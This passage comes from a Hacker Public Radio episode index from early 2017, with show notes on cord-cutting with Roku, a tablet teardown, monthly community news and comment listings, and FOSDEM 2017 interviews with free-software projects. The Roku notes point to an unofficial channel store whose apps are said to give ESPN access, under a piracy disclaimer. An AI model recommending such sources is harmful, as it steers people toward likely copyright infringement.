                                                            \n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"android,Opera Mini,CharacterMap,font,music,jazz","version":0,"downloads":0,"valid":1}, {"id":2219,"date":"2017-02-02","title":"The Musings of a Novice Cable TV Cord Cutter","duration":3503,"summary":"My adventures with dealing with my local cable TV provider and my hardware selections.","notes":"

                                                            I've included various websites of the items I discussed in the podcast.

                                                            \n

                                                            One thing I didn't mention in my podcast is that to use Roku streaming applications you go to the Roku store via your Roku device or via a computer browser and set up a Roku account. Once you have an account you have downloading access to the apps. Most of these apps are free but most premium service require a monthly fee which can be paid through Roku or the streaming service.

                                                            \n

                                                            Roku Channel Store: https://channelstore.roku.com/browse

                                                            \n

                                                            For apps not in the official Roku Channel Store there is an unofficial Roku Private Channels store. These are applications for Roku devices similar to the Kodi/XBMC plug-ins:

                                                            \n

                                                            https://mkvxstream.blogspot.com/2016/08/roku-private-channels-roku-channels.html

                                                            \n
                                                            \n

                                                            I AM NOT CONDONING PIRACY OR BREAKING OF DMCA LAWS!!!

                                                            \n

                                                            DMCA Wikipedia: https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act

                                                            \n
                                                            \n

                                                            I found a couple of apps in the Roku Private Channels store that can provide me access to ESPN if I wish to use them.

                                                            \n

                                                            I don't condone piracy so use at your own risk:

                                                            \n

                                                            https://mkvxstream.blogspot.com/2016/08/roku-private-channels-roku-channels.html

                                                            \n
                                                            \n

                                                            General Roku information:

                                                            \n
                                                              \n
                                                            1. Roku Wikipedia Info: https://en.wikipedia.org/wiki/Roku
                                                            2. \n
                                                            3. TCL Roku TVs: https://www.tclusa.com/roku/
                                                            4. \n
                                                            5. Roku TVs Sold by Amazon: https://www.amazon.com/gp/search/ref=a9_asi_1?rh=i%3Aelectronics%2Cn%3A172282%2Ck%3Aroku+tv&keywords=roku+tv&ie=UTF8&qid=1485043393
                                                            6. \n
                                                            7. Roku Boxes: https://www.roku.com/roku-tv
                                                            8. \n
                                                            9. Amplified TV Antennas Review: https://www.tomsguide.com/us/best-tv-antennas,review-2354.html
                                                            10. \n
                                                            11. Indoor Amplified TV Antennas Sold by Amazon: https://www.amazon.com/s/ref=nb_sb_ss_i_4_5/159-5067263-7652968?url=search-alias%3Delectronics&field-keywords=amplified+indoor+hdtv+antenna&sprefix=ampli%2Cundefined%2C148&crid=14O1SJA572XSH
                                                            12. \n
                                                            13. Cox Communications: https://www.cox.com/residential/home.html
                                                            14. \n
                                                            \n","hostid":348,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cable TV,cable,TV,Roku","version":0,"downloads":0,"valid":1}, {"id":2220,"date":"2017-02-03","title":"Taking apart a tablet","duration":1716,"summary":"In which I fail to discover or correct the problem with my son's tablet","notes":"

                                                            My son's tablet stopped working a few days ago, so I took it apart to see if I could find the problem. I discuss my kit and give a sound seeing tour of the disassembly.

                                                            ","hostid":257,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"repair,electronics,spudger,tablet","version":0,"downloads":0,"valid":1}, {"id":2221,"date":"2017-02-06","title":"HPR Community News for January 2017","duration":5117,"summary":"HPR Volunteers talk about shows released and comments posted in January 2017","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Reg A, \n \"Hannah, of Terra, of Sol\".\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2196Mon2017-01-02HPR Community News for December 2016HPR Volunteers
                                                            2197Tue2017-01-03Why you should not say Free SoftwareKen Fallon
                                                            2198Wed2017-01-04How awesome is Guix and why will it take over the worldclacke
                                                            2199Thu2017-01-05Replacing the Throttle Position Sensor on My TruckJon Kulp
                                                            2200Fri2017-01-06Episode one of the future of free software seriesspaceman
                                                            2201Mon2017-01-09Matthew \"Lord Drachenblut\" WilliamsHPR Volunteers
                                                            2202Tue2017-01-10Makers on YouTubeDave Morriss
                                                            2203Wed2017-01-11NOT SO SMARToperat0r
                                                            2204Thu2017-01-12MASSCANoperat0r
                                                            2205Fri2017-01-13Quick Tips Roomba and silicone Packetsoperat0r
                                                            2206Mon2017-01-16Podcasts I Listen ToReg A
                                                            2207Tue2017-01-17NATO phonetic alphabetHannah, of Terra, of Sol
                                                            2208Wed2017-01-18Kayak Campingdroops
                                                            2209Thu2017-01-19Calibre eBook ServerJon Kulp
                                                            2210Fri2017-01-20On Freedom of Speech and Censorshipm1rr0r5h4d35
                                                            2211Mon2017-01-23My podcast workflowDave Morriss
                                                            2212Tue2017-01-24meanderings Cyberpunk and the MinidiscQuvmoh
                                                            2213Wed2017-01-25Clay Bodybrian
                                                            2214Thu2017-01-26Upgrading Vehicle Lights From Halogen to LEDJon Kulp
                                                            2215Fri2017-01-27Kickstarte Omega2 Plus first time setup walkthrough.Jrullo
                                                            2216Mon2017-01-30Working AO-85 with my sonChristopher M. Hobbs
                                                            2217Tue2017-01-31building a new voice input deviceJezra
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-January/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 51 comments in total.

                                                            \n

                                                            There are 11 comments on\n8 previous shows:

                                                            \n
                                                            • hpr2061\n(2016-06-27) \"Handwriting\"\nby droops.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nm1rr0r5h4d35 on 2017-01-01:\n\"Thanks for sharing!\"

                                                              \n
                                                            • hpr2159\n(2016-11-10) \"Coup Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnondescript on 2017-01-11:\"[no title]\"

                                                              \n
                                                            • hpr2182\n(2016-12-13) \"why say GNU/Linux ?\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              • Comment 16:\nFSA on 2017-01-11:\n\"Some language is more offensive than others\"

                                                              \n
                                                            • hpr2189\n(2016-12-22) \"Working Amateur Radio Satellites\"\nby Christopher M. Hobbs.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nMichael on 2017-01-02:\n\"Additional links\"

                                                              \n
                                                            • hpr2190\n(2016-12-23) \"fucking botnets how do they work?\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nVictor O on 2017-01-09:\"[no title]\"
                                                              • Comment 2:\nVictor O on 2017-01-09:\"[no title]\"

                                                              \n
                                                            • hpr2192\n(2016-12-27) \"Fun with Oscilloscopes\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nclacke on 2017-01-02:\n\"Bubble sort!\"

                                                              \n
                                                            • hpr2193\n(2016-12-28) \"a clean podcast with no swearing\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nAConcernedListener on 2017-01-03:\n\"Say what ever you want the way you want.\"
                                                              • Comment 5:\ngws on 2017-01-05:\n\"no such thing as knowledge transfer\"

                                                              \n
                                                            • hpr2194\n(2016-12-29) \"The low-down on what's up in the Taiwan Strait.\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 6:\nKevin O'Brien on 2017-01-02:\n\"Excellent show!\"
                                                              • Comment 7:\nVictor O on 2017-01-09:\"[no title]\"

                                                              \n
                                                            \n

                                                            There are 40 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr2197\n(2017-01-03) \"Why you should not say Free Software\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsapceman on 2016-12-28:\n\"what about freedom?\"
                                                              • Comment 2:\nmcnalu on 2017-01-03:\n\"Language has a life of its own\"
                                                              • Comment 3:\nbrian on 2017-01-03:\n\"liberty\"
                                                              • Comment 4:\nKen Fallon on 2017-01-04:\n\"Replies\"

                                                              \n
                                                            • hpr2198\n(2017-01-04) \"How awesome is Guix and why will it take over the world\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-12-31:\n\"Correction: 8Sync 0.3!\"
                                                              • Comment 2:\nbrian on 2017-01-03:\n\"please more\"
                                                              • Comment 3:\nJonas on 2017-01-04:\n\"Interesting!\"
                                                              • Comment 4:\nclacke on 2017-01-05:\n\"Slides\"
                                                              • Comment 5:\nclacke on 2017-01-05:\n\"Everyday package operations\"
                                                              • Comment 6:\nBiasOpinion on 2017-01-13:\n\"Working Programmer\"

                                                              \n
                                                            • hpr2199\n(2017-01-05) \"Replacing the Throttle Position Sensor on My Truck\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2017-01-05:\n\"When is the new truck?\"
                                                              • Comment 2:\nKen Fallon on 2017-01-06:\n\"Nooooo...\"
                                                              • Comment 3:\nJonathan Kulp on 2017-01-06:\n\"Just getting started\"

                                                              \n
                                                            • hpr2201\n(2017-01-09) \"Matthew \"Lord Drachenblut\" Williams\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndroops on 2017-01-10:\n\"Drachenblut\"

                                                              \n
                                                            • hpr2202\n(2017-01-10) \"Makers on YouTube\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nm1rr0r5h4d35 on 2017-01-09:\n\"Awesome suggestions\"
                                                              • Comment 2:\nVictor O on 2017-01-10:\"[no title]\"
                                                              • Comment 3:\ndodddummy on 2017-01-11:\"[no title]\"

                                                              \n
                                                            • hpr2206\n(2017-01-16) \"Podcasts I Listen To\"\nby Reg A.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\npauleb on 2017-01-17:\n\"Update on Linux Luddites\"
                                                              • Comment 2:\nreg a on 2017-01-17:\n\"Linux Luddites Update Info\"

                                                              \n
                                                            • hpr2207\n(2017-01-17) \"NATO phonetic alphabet\"\nby Hannah, of Terra, of Sol.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2017-01-20:\"[no title]\"
                                                              • Comment 2:\nClinton Roy on 2017-01-21:\n\"Thanks!\"
                                                              • Comment 3:\ndodddummy on 2017-01-26:\n\"We called it fife, not five\"

                                                              \n
                                                            • hpr2208\n(2017-01-18) \"Kayak Camping\"\nby droops.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMongo on 2017-01-19:\n\"Camping the right way\"
                                                              • Comment 2:\ndroops on 2017-01-19:\n\"Thanks\"
                                                              • Comment 3:\nKen Fallon on 2017-01-19:\n\"Another vacation destination\"
                                                              • Comment 4:\ndroops on 2017-01-19:\n\"Vacation Destination?\"
                                                              • Comment 5:\nJonathan Kulp on 2017-01-20:\n\"Not a camper\"

                                                              \n
                                                            • hpr2209\n(2017-01-19) \"Calibre eBook Server\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2017-01-21:\"[no title]\"
                                                              • Comment 2:\nJonathan Kulp on 2017-01-21:\n\"Ports\"
                                                              • Comment 3:\ndodddummy on 2017-01-22:\"[no title]\"

                                                              \n
                                                            • hpr2210\n(2017-01-20) \"On Freedom of Speech and Censorship\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndroops on 2017-01-22:\n\"Well Said\"
                                                              • Comment 2:\nBill Miller on 2017-01-23:\n\"Hello\"

                                                              \n
                                                            • hpr2212\n(2017-01-24) \"meanderings Cyberpunk and the Minidisc\"\nby Quvmoh.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBill Miller on 2017-01-26:\n\"Great show\"
                                                              • Comment 2:\nQuvmoh on 2017-01-27:\"[no title]\"

                                                              \n
                                                            • hpr2214\n(2017-01-26) \"Upgrading Vehicle Lights From Halogen to LED\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2017-01-26:\n\"What about the blinkers?\"
                                                              • Comment 2:\nClinton Roy on 2017-01-26:\"[no title]\"
                                                              • Comment 3:\nJonathan Kulp on 2017-01-27:\n\"Probably not \"
                                                              • Comment 4:\nJonathan Kulp on 2017-01-27:\n\"Blinkers\"
                                                              • Comment 5:\nKen Fallon on 2017-01-27:\n\"Smokin' hot CANbus LED lamps. (230C in open air.)\"
                                                              • Comment 6:\nJonathan Kulp on 2017-01-27:\n\"Yikes\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2222,"date":"2017-02-07","title":"FOSDEM 2017 K (level 1, group A)","duration":5392,"summary":"Ken interviews the projects in Group A of the the K building level 1","notes":"

                                                            Table of Contents

                                                            \n\n\n
                                                            \n

                                                            \"KDE\"

                                                            \n

                                                            https://www.kde.org/

                                                            \n
                                                            \nKDE is an international community that creates Free Software for desktop and portable computing. Among KDE's products are a modern desktop system for Linux and UNIX platforms, and comprehensive office productivity and groupware suites. KDE offers hundreds of software titles in many categories including web applications, multimedia, entertainment, educational, graphics and software development.\n
                                                            \n

                                                            Listen to the interview with Jonathan Riddell

                                                            \n

                                                            \n

                                                            \n\n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n\n\n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"GNOME\"

                                                            \n

                                                            https://www.gnome.org/

                                                            \n
                                                            \nGNOME 3 is an easy and elegant way to use your computer. It is designed to put you in control and bring freedom to everybody. GNOME 3 is developed by the GNOME community, a diverse, international group of contributors that is supported by an independent, non-profit foundation.\n
                                                            \n

                                                            Listen to the interview with Bastian Ilso

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"LibreOffice\"

                                                            \n

                                                            https://www.libreoffice.org/

                                                            \n
                                                            \nLibreOffice is the most widely used free open source office software. It is a community-driven project of The Document Foundation. LibreOffice is developed by professionals and by users, just like you, who believe in the principles of free software and in sharing their work with the world in a non-restrictive way. At the core of these principles is the promise of better-quality, highly-reliable and secure software that gives you greater flexibility at zero cost and no end-user lock-in.\n
                                                            \n

                                                            Listen to the interview with Italo Vignoli

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Kopano\"

                                                            \n

                                                            https://www.kopano.io/

                                                            \n
                                                            \nKopano is a thoroughly modern communication stack. It's fully MAPI based server (Core) provides access to email, contacts, calendaring through a web interface (WebApp), on the desktop (DeskApp) and can be used with mobile devices. Integration with online meetings tools based on WebRTC (Web Meetings) and integration with file storage services (Files) provide a complete set of tools to work together.\n
                                                            \n

                                                            Listen to the interview with Michael Kromer

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"CiviCRM\"

                                                            \n

                                                            https://civicrm.org

                                                            \n
                                                            \nCiviCRM is an open source CRM built by a community of contributors and supporters, and coordinated by the Core Team. CiviCRM is web-based software used by a diverse range of organisations, particularly not-for-profit organizations (nonprofts and civic sector organizations). CiviCRM offers a complete feature set out of the box and can integrate with your website.\n
                                                            \n

                                                            Listen to the interview with Alain Benbassat

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"GNU

                                                            \n

                                                            https://taler.net/

                                                            \n
                                                            \nTaler is an electronic payment system providing the ability to pay anonymously using digital cash. Taler consists of a network protocol definition (using a RESTful API over HTTP), a Mint (which creates digital coins), a Wallet (which allows customers\n
                                                            \n

                                                            Listen to the interview with Christian Grothoff

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"pEp

                                                            \n

                                                            https://pep.foundation

                                                            \n
                                                            \nThe Swiss-based PEP foundation that intends to encrypt all digital written communication fully automatically giving \"Privacy by Default\"\n
                                                            \n

                                                            Listen to the interview with Hernâni Matques

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"FreeBSD

                                                            \n

                                                            https://www.freebsd.org/

                                                            \n
                                                            \nFreeBSD is an advanced computer operating system used to power modern servers, desktops, and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security, and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices.\n
                                                            \n

                                                            Listen to the interview with Benedict Reuschling

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"illumos\"

                                                            \n

                                                            https://illumos.org/

                                                            \n
                                                            \nThis is the home of the illumos project, the open source fork of Sun's OpenSolaris. Launched in 2010, the project enjoys financial and technical support from several key companies which rely on the illumos kernel as the technological foundation for their own products, as well as the backing of a growing developer community.\n
                                                            \n

                                                            Listen to the interview with Hans Rosenfeld

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"OpenSUSE\"

                                                            \n

                                                            https://www.opensuse.org/

                                                            \n
                                                            \nopenSUSE, formerly openSUSE Leap 42.1 and openSUSE Tumbleweed, is a international Linux project with different distributions sponsored by SUSE Linux GmbH and other companies. It is widely used throughout the world, particularly in Germany. The focus of its development is creating usable open source tools for software developers and system administrators, while providing user friendly desktops, and a feature rich server environment.\n
                                                            \n

                                                            Listen to the interview with Douglas DeMaio

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"CentOS\"

                                                            \n

                                                            https://www.centos.org/

                                                            \n
                                                            \nThe CentOS Project is a community-driven free software effort focused on delivering a robust open source ecosystem. For users, we offer a consistent manageable platform that suits a wide variety of deployments. For open source communities, we offer a solid, predictable base to build upon, along with extensive resources to build, test, release, and maintain their code.\n
                                                            \n

                                                            Listen to the interview with Fabian Arrotin

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Fedora

                                                            \n

                                                            https://getfedora.org/en/

                                                            \n
                                                            \nFedora is an operating system based on the Linux kernel, developed by the community-supported Fedora Project and sponsored by Red Hat. Fedora contains software distributed under a free and open-source license and aims to be on the leading edge of such technologies.\n
                                                            \n

                                                            Listen to the interview with Justin W. Flory

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM 2017, KDE, GNOME, LibreOffice, Kopano, CiviCRM, GNU Taler, pEp foundation, FreeBSD Project, illumos, OpenSUSE, CentOS, Fedora Project","version":0,"downloads":0,"valid":1}, {"id":2223,"date":"2017-02-08","title":"FOSDEM 2017 K (level 1, group B and C)","duration":6873,"summary":"Ken interviews the projects in Group B and C of the the K building level 1","notes":"

                                                            Table of Contents

                                                            \n\n\n\n
                                                            \n

                                                            \"ReactOS\"

                                                            \n

                                                            https://www.reactos.org/

                                                            \n
                                                            \nReactOS® is a free open source operating system based on the best design principles found in the Windows NT® architecture (Windows versions such as Windows XP, Windows 7, Windows Server 2012 are built on Windows NT architecture). Written completely from scratch, ReactOS is not a Linux based system, and shares none of the UNIX architecture. The main goal of the ReactOS® project is to provide an operating system which is binary compatible with Windows.\n
                                                            \n

                                                            Listen to the interview with Colin Finck

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Haiku\"

                                                            \n

                                                            https://www.haiku-os.org/

                                                            \n
                                                            \nHaiku is an open-source operating system that specifically targets personal computing. Inspired by the BeOS, Haiku is fast, simple to use, easy to learn and yet very powerful.\n
                                                            \n

                                                            Listen to the interview with François Revol

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Gentoo\"

                                                            \n

                                                            https://www.gentoo.org/

                                                            \n
                                                            \nGentoo is a free operating system based on either Linux or FreeBSD that can be automatically optimized and customized for just about any application or need. Extreme configurability, performance and a top notch user and developer community are all hallmarks of the Gentoo experience.\n
                                                            \n

                                                            Listen to the interview with Matthew Thode

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"CoreOS

                                                            \n

                                                            https://coreos.com/

                                                            \n
                                                            \nContainer Linux by CoreOS (formerly CoreOS Linux) is an open-source lightweight operating system based on the Linux kernel and designed for providing infrastructure to clustered deployments, while focusing on automation, ease of application deployment, security, reliability and scalability. As an OS, Container Linux provides only the minimal functionality required for deploying applications inside software containers, together with built-in mechanisms for service discovery and configuration sharing.\n
                                                            \n

                                                            Listen to the interview with Brian Redbeard

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Debian\"

                                                            \n

                                                            https://www.debian.org/

                                                            \n
                                                            \nDebian is a free operating system (OS) for your computer. An operating system is the set of basic programs and utilities that make your computer run.\n
                                                            \n

                                                            Listen to the interview with Sebastiaan Couwenberg

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"PostgreSQL\"

                                                            \n

                                                            https://www.postgresql.org/

                                                            \n
                                                            \nPostgreSQL is a powerful, open source object-relational database system. It has more than 15 years of active development and a proven architecture that has earned it a strong reputation for reliability, data integrity, and correctness. It runs on all major operating systems, including Linux, UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is fully ACID compliant, has full support for foreign keys, joins, views, triggers, and stored procedures (in multiple languages).\n
                                                            \n

                                                            Listen to the interview with Robert Juens

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Nextcloud\"

                                                            \n

                                                            https://nextcloud.com

                                                            \n
                                                            \nNextcloud is a suite of client-server software for creating file hosting services and using them. It is functionally very similar to the widely used Dropbox, with the primary functional difference being that Nextcloud is free and open-source, and thereby allowing anyone to install and operate it without charge on a private server. In contrast to proprietary services like Dropbox, the open architecture allows adding additional functionality to the server in form of so-called applications.\n
                                                            \n

                                                            Listen to the interview with Frank Karlitschek

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Bazel\"

                                                            \n

                                                            https://bazel.build/

                                                            \n
                                                            \nBazel is Google's own build tool, now publicly available in Beta. Bazel has built-in support for building both client and server software, including client applications for both Android and iOS platforms. It also provides an extensible framework that you can use to develop your own build rules.\n
                                                            \n

                                                            Listen to the interview with David Stanke

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Open

                                                            \n

                                                            https://openbuildservice.org/

                                                            \n
                                                            \nThe Open Build Service (OBS) is a generic system to build and distribute binary packages from sources in an automatic, consistent and reproducible way. You can release packages as well as updates, add-ons, appliances and entire distributions for a wide range of operating systems and hardware architectures.\n
                                                            \n

                                                            Listen to the interview with Richard Brown

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"OpenQA\"

                                                            \n

                                                            https://openqa.opensuse.org/

                                                            \n
                                                            \nopenQA is an automated test tool for operating systems and the engine at the heart of openSUSE's automated testing initiative.\n
                                                            \n

                                                            Listen to the interview with Richard Brown

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Free

                                                            \n

                                                            https://fsfe.org/index.en.html

                                                            \n
                                                            \nFree Software Foundation Europe is a charity that empowers users to control technology. Software is deeply involved in all aspects of our lives; and it is important that this technology empowers rather than restricts us. Free Software gives everybody the rights to use, understand, adapt and share software.These rights help support other fundamental freedoms like freedom of speech, press and privacy.\n
                                                            \n

                                                            Listen to the interview with Florian Snow

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Vikings\"

                                                            \n

                                                            https://vikings.net/

                                                            \n
                                                            \nLibre Hosting Provider\n
                                                            \n

                                                            Listen to the interview with Thomas Umbach

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n\n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Tor

                                                            \n

                                                            https://www.torproject.org/

                                                            \n
                                                            \nTor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security.\n
                                                            \n

                                                            Listen to the interview with A Volunteer at the Booth

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Tails

                                                            \n

                                                            https://tails.boum.org/

                                                            \n
                                                            \nTails is a live operating system that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to: use the Internet anonymously and circumvent censorship; all connections to the Internet are forced to go through the Tor network; leave no trace on the computer you are using unless you ask it explicitly; use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.\n
                                                            \n

                                                            Listen to the interview with A Volunteer at the Booth

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Frënn

                                                            \n

                                                            https://www.enn.lu/

                                                            \n
                                                            \nLuxembourg based non-profit organization defending civil rights on the internet. We provide high-bandwidth Tor nodes all over the world to protect online privacy, anonymity, freedom of speech and fight censorship!\n
                                                            \n

                                                            Listen to the interview with A Volunteer at the Booth

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Nos oignons\"

                                                            \n

                                                            https://nos-oignons.net/Services/index.en.html

                                                            \n
                                                            \nNos oignons is a not-for-profit organization created to collect donations in order to run Tor exit nodes. Tor enables users to create anonymous connections and bypass censorship on the Internet. Tor is at the same time a piece of software, a network of relays made of more than 7,000 servers and a project around which fortyish people gravitate.\n
                                                            \n

                                                            Listen to the interview with A Volunteer at the Booth

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Xen

                                                            \n

                                                            https://www.xenproject.org/

                                                            \n
                                                            \nThe Xen ProjectTM is the leading open source virtualization platform that is powering some of the largest clouds in production today. Amazon Web Services, Aliyun, Rackspace Public Cloud, Verizon Cloud and many hosting services use Xen Project software. Plus, it is integrated into multiple cloud orchestration projects like OpenStack.\n
                                                            \n

                                                            Listen to the interview with Julien Fontanet

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"OpenStack\"

                                                            \n

                                                            https://www.openstack.org/

                                                            \n
                                                            \nOpen source software for creating private and public clouds. OpenStack software controls large pools of compute, storage, and networking resources throughout a datacenter, managed through a dashboard or via the OpenStack API. OpenStack works with popular enterprise and open source technologies making it ideal for heterogeneous infrastructure. Hundreds of the world's largest brands rely on OpenStack to run their businesses every day, reducing costs and helping them move faster.\n
                                                            \n

                                                            Listen to the interview with Aurélien Joga

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"oVirt\"

                                                            \n

                                                            https://www.ovirt.org/

                                                            \n
                                                            \noVirt is a virtualization management application used to manage hardware nodes, storage, and network resources, as well as deploying and monitoring virtual machines running in your data center.\n
                                                            \n

                                                            Listen to the interview with Yaniv Kaul

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Foreman\"

                                                            \n

                                                            https://www.theforeman.org/

                                                            \n
                                                            \nForeman is a complete lifecycle management tool for physical and virtual servers. We give system administrators the power to easily automate repetitive tasks, quickly deploy applications, and proactively manage servers, on-premise or in the cloud.\n
                                                            \n

                                                            Listen to the interview with Greg Sutcliffe

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Gluster\"

                                                            \n

                                                            https://www.gluster.org/

                                                            \n
                                                            \nGlusterFS is a scalable network filesystem. Using common off-the-shelf hardware, you can create large, distributed storage solutions for media streaming, data analysis, and other data- and bandwidth-intensive tasks. GlusterFS is free and open source software.\n
                                                            \n

                                                            Listen to the interview with Mohamed Ashiq Liyazudeen / Kaushal M / Jiffin Tony Thottan

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"ownCloud\"

                                                            \n

                                                            https://owncloud.org/

                                                            \n
                                                            \nA safe home for all your data. Access & share your files, calendars, contacts, mail & more from any device, on your terms\n
                                                            \n

                                                            Listen to the interview with Holger Dyroff

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"CAcert\"

                                                            \n

                                                            https://www.cacert.org/

                                                            \n
                                                            \nCAcert.org is a community-driven Certificate Authority that issues certificates to the public at large for free. CAcert's goal is to promote awareness and education on computer security through the use of encryption, specifically by providing cryptographic certificates. These certificates can be used to digitally sign and encrypt email, authenticate and authorize users connecting to websites and secure data transmission over the internet. \n
                                                            \n

                                                            Listen to the interview with Eva Stöwe

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"secure-u\"

                                                            \n

                                                            https://www.secure-u.de/

